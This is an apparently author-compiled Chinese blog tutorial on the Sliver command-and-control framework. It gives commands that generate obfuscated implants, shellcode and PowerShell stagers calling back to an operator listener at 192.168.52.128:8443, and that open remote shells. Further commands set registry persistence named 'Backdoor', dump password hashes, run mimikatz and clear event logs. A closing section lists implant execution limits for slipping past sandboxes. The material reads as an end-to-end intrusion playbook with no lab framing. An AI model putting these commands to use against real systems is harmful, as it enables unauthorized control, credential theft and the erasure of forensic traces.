AI摘要:本文介绍了新兴的C2工具Sliver的基础使用,包括常规和通用命令,以及多人协作命令,并提供了生成植入程序、设置监听器、管理会话、文件操作、持久化、横向移动、信息收集等操作示例。
之前博主一直使用的是cs,我们来瞧瞧新兴的C2工具Sliver怎么用
如何## 首先是常规用法 --help命令
1. 常用命令
clear
: 清除终端屏幕。exit
: 退出 Sliver 的交互式 Shell。help
: 显示命令帮助信息。例如,help generate
会显示generate
命令的详细用法。monitor
: 监控威胁情报平台,检测 Sliver 植入程序是否被发现。wg-config
: 生成一个新的 WireGuard 客户端配置文件。wg-portfwd
: 列出通过 WireGuard 隧道接口转发的端口。wg-socks
: 列出在 WireGuard 隧道接口上监听的 SOCKS 服务器。
2. 通用命令
aliases
: 列出当前定义的别名(命令的快捷方式)。armory
: 自动下载和安装扩展或别名。background
: 将一个活动的会话放到后台运行。beacons
: 管理 Beacon(一种异步的、持久化的植入程序)。builders
: 列出外部构建器(用于生成植入程序)。canaries
: 列出之前生成的 Canary(用于检测是否被发现)。cursed
: Chrome/Electron 后渗透工具包,用于浏览器攻击。dns
: 启动一个 DNS 监听器(用于 DNS C2)。env
: 列出环境变量。generate
: 生成一个植入程序二进制文件。hosts
: 管理主机数据库(记录目标主机的信息)。http
: 启动一个 HTTP 监听器。https
: 启动一个 HTTPS 监听器。implants
: 列出已生成的植入程序。jobs
: 任务控制(管理后台运行的监听器或任务)。licenses
: 显示开源许可证信息。loot
: 管理服务器的战利品存储(保存从目标获取的数据)。mtls
: 启动一个 mTLS(双向 TLS)监听器。prelude-operator
: 管理与 Prelude Operator 的连接。profiles
: 列出现有的配置文件(用于生成植入程序)。reaction
: 管理对事件的自动反应(例如,当某个事件发生时自动执行某些操作)。regenerate
: 重新生成一个植入程序。sessions
: 会话管理(列出和管理当前的会话)。settings
: 管理客户端设置。stage-listener
: 启动一个分阶段监听器(用于分阶段植入程序)。tasks
: Beacon 任务管理(管理异步任务)。update
: 检查 Sliver 的更新。use
: 切换当前的会话或 Beacon。version
: 显示 Sliver 的版本信息。websites
: 托管静态内容(用于 HTTP C2)。wg
: 启动一个 WireGuard 监听器。
3. 多人协作命令
kick-operator
: 将某个操作员从服务器踢出。multiplayer
: 启用多人协作模式(允许多个操作员同时使用 Sliver)。new-operator
: 创建一个新的操作员配置文件。operators
: 管理操作员(列出、添加或删除操作员)。
4. 使用示例
以下是一些常见的使用场景和命令示例:
生成植入程序
generate --os windows --arch amd64 --http http://192.168.1.100:8080
- 生成一个 Windows 64 位的植入程序,并通过 HTTP C2 通信。
启动 HTTP 监听器
http --domain example.com --port 8080
- 启动一个 HTTP 监听器,监听
example.com:8080
。
管理会话
sessions
- 列出当前的所有会话。
use <session-id>
- 切换到指定的会话。
管理 Beacon
beacons
- 列出当前的所有 Beacon。
use <beacon-id>
- 切换到指定的 Beacon。
多人协作
multiplayer
- 启用多人协作模式。
new-operator --name alice
- 为操作员
alice
创建一个新的配置文件。
1. 生成 Payload
生成 Windows 可执行文件
generate --format exe --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.exe
生成 Linux 可执行文件
generate --format elf --os linux --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.elf
生成 Shellcode
generate --format shellcode --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/shellcode.bin
生成 PowerShell 脚本
generate --format ps1 --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /path/to/save/payload.ps1
2. 设置监听器
启动 mTLS 监听器
mtls --lhost 192.168.52.128 --lport 8443
启动 HTTP 监听器
http --lhost 192.168.52.128 --lport 80
启动 HTTPS 监听器
https --lhost 192.168.52.128 --lport 443
3. 管理会话
查看所有会话
sessions
进入会话
use <Session ID>
获取命令行 Shell
shell
退出会话
exit
终止会话
kill <Session ID>
终止所有会话
kill-all
4. 文件操作
列出文件
ls C:\
下载文件
download C:\path\to\file
上传文件
upload /path/to/local/file C:\path\to\remote\file
删除文件
rm C:\path\to\file
5. 持久化
创建持久化任务
persist --method registry --name "Backdoor" --path "C:\path\to\payload.exe"
查看持久化任务
persist
删除持久化任务
persist --remove <Task ID>
6. 横向移动
执行命令
execute notepad.exe
上传并执行文件
upload /path/to/local/file C:\path\to\remote\file
execute C:\path\to\remote\file
抓取密码哈希
hashdump
抓取明文密码
mimikatz
7. 信息收集
以下是常用命令组合:
获取系统信息
info
获取网络配置
ifconfig
获取进程列表
ps
当前权限
whoami
删除日志
clearev
删除文件
rm C:\path\to\file
删除持久化任务
persist --remove <Task ID>
9. 其他常用命令
查看帮助
help
查看当前配置
config
查看任务
jobs
终止任务
jobs --kill <Job ID>
10. 完整操作流程
启动监听器:
mtls --lhost 192.168.52.128 --lport 8443
生成 Payload:
generate --format exe --os windows --arch amd64 --lhost 192.168.52.128 --lport 8443 --save /tmp/payload.exe
- 部署 Payload 到目标机器。
查看会话:
sessions
进入会话:
use 1
获取 Shell:
shell
清理痕迹:
clearev
生成shell:
generate --mtls <Server IP> --save ./test.exe --os Windows
生成beacon,采用mtls回连的端口
generate beacon --arch amd64 --os windows --mtls IP:port --save .
时间会有点长,因为要混淆,大概输出结果如下
[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:01:05
[*] Implant saved to /xxx/DIFFICULT_DYNAMO.exe
创建Stager(shellcode)
generate stager --lhost 127.0.0.1 --lport 8443 --arch amd64 --format c
通过原生sliver的一个过沙箱的思路
-w, --limit-datetime string:限制在指定日期时间之前执行
-x, --limit-domainjoined:限制在域加入的计算机上执行
-F, --limit-fileexists string:限制在具有文件系统中的指定文件的主机上执行
-z, --limit-hostname string:限制在指定的主机名上执行
-L, --limit-locale string:限制在与此区域设置匹配的主机上执行
-y, --limit-username string:限制在指定的用户名上执行
本文为博主由参考文档整理而成: Sliver C2 官方文档。